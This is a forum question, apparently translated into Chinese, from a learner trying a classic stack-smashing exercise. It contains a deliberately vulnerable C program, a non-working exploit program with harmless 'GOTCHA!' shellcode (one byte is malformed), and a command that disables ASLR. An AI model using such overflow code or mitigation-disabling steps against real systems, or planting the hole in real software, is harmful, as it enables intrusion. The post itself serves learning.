我有 2 个程序正在尝试进行一些堆栈粉碎。
漏洞
#include <stdlib.h>
#include <stdio.h>
int bof()
{
char buffer[8];
FILE *badfile;
badfile = fopen( "badfile", "r" );
fread( buffer, sizeof( char ), 1024, badfile );
return 1;
}
int main( int argc, char **argv)
{
bof();
printf("Not gonna do it! \n");
return 1;
}
漏洞利用.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\xeb\x16"
"\x31\xdb"
"\x31\xd2"
"\x31\xc0"
"\x59"
"\xbb\x01\x00\x00\x00"
"\xb2\x09"
"\xb0\x04"
"\xcd\x80"
"\xb0\x01"
"\xcd\x80"
"xe8\xe5\xff\xff\xff"
"GOTCHA!\n";
#define OFFSET 1500
int bof()
{
char buffer[8];
strcpy(buffer, "AAAAAAAAA");
return 1;
}
unsigned long get_ESP(void)
{
__asm__("movl %ESP,%EAX");
}
int main(int argc, char **argv)
{
unsigned int addr;
FILE *badfile;
char buffer[1024];
addr = get_ESP()+OFFSET;
fprintf(stderr, "Using Offset: 0x%x\nShell code size: %lx\n",addr, sizeof(shellcode));
memset(&buffer, 0x90, 1024);
buffer[12] = addr & 0x000000ff;
buffer[13] = (addr & 0x0000ff00) >> 8;
buffer[14] = (addr & 0x00ff0000) >> 16;
buffer[15] = (addr & 0xff000000) >> 24;
memcpy( &buffer[ (sizeof(buffer) - sizeof(shellcode)) ], shellcode,sizeof(shellcode) );
badfile = fopen("./badfile","w");
fwrite(buffer,1024,1,badfile);
fclose(badfile);
}
我用这些命令在我的 Macbook 上编译了这个,gcc vuln.c -fno-stack-protector -o vuln
并且gcc exploit.c -fno-stack-protector -o exploit
. 然后我运行 vuln,它运行良好,然后利用并获得以下输出:
Using Offset: 0x6acd6814
Shell code size: 28
然后我用 破坏了文件od -t x2 badfile
,所以它最终看起来像这样:
bash-3.2# cat badfile
????????????h?j?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?1?1?Y?? ?̀?̀xe8????GOTCHA!
我正在尝试获取 vuln 程序的漏洞利用,以便它打印 GOTCHA!我现在得到Bus error: 10
. 谁能给我一个提示我哪里出错了?
__ _ __ _ __ _ __ _ __ _ __ _ __ _ __ _ _更新_ __ _ __ _ _
我用 BT5 尝试了同样的程序。用于echo 0 > /proc/sys/kernel/randomize_va_space
禁用 ASLR。
我仍然无法弄清楚为什么这不起作用。我在 gdb 中运行时得到这个:
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb)
我是否正确地尝试了这个?